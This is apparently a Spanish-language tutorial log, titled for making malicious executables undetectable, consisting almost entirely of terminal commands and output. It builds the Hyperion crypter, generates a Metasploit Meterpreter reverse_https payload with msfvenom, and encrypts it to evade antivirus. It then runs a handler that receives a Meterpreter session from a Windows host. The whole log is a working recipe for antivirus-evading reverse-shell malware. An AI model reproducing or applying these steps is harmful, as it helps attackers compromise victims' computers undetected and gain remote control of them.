Metasploit + Hyperion (PE Crypter) para la indetección de ejecutables maliciosos

root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip 
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
crypter.exe  Examples  Fasm  FasmAES-1.0  license.txt  Makefile  Obj  readme.txt  Src
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe

root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 -f exe > payload.exe
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

root@bt:/home/pruebas/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115890
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5f076d
Generated Encryption Key: 0x3 0x0 0x3 0x3 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\home\pruebas\Hyperion-1.0

Executing fasm.exe

root@bt:/home/pruebas/Hyperion-1.0# flat assembler  version 1.69.31  (886317 kilobytes memory)
5 passes, 0.1 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -las *.exe
root@bt:/home/pruebas/Hyperion-1.0# ls -las *.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 08:46 payload.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 92 -rwxr-xr-x 1 root root  92672 2012-11-14 06:39 encrypted_payload.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_https
LHOST => 192.168.249.128
LPORT => 443
[*] Started HTTPS reverse handler on https://192.168.249.128:443/
[*] Starting the payload handler...
[*] 192.168.249.1:54391 Request received for /cV3p...
[*] 192.168.249.1:54391 Staging connection for target /cV3p received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54391) at 2012-11-14 06:49:43 -0500

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > getid
[-] Unknown command: getid.
meterpreter > getuid
Server username: PANDORA\vmotos

sudo apt-get install wine